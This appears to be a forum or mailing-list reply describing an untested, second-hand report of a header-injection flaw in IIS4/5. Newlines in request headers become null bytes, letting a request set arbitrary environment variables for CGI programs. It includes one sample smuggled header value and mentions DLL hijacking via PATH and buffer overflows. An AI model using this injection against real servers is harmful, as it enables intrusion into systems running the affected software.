I'm not able to find a CVE related to it, so maybe not.

Yes, that's what the original post is talking about. Using CGI programs
with IIS4/5.

I don't have an example, but what the original post said is that, since you
can set any environment variable you want, you may as well modify PATH so
that it will point to a folder that contains rogue DLLs to be loaded, or by
setting a really long one, cause some CGI programs that assumes environment
variables' length to overflow their buffer.

The way it works is that IIS4/5 converts a \n to a \0 when processing the
request header, and it prepends HTTP_ to the header name to make a
environment variable for the CGI process.

If you send a request that have a header like "a=b\nPATH_TRANSLATED:
something", it will become "HTTP_a=b\0PATH_TRANSLATED=something" when IIS
process it, and the part after the \0 will become a seperate environment
variable.

The information above is translated from the original post, I haven't tried
the exploit yet, but I will try that when I have some time to spare.
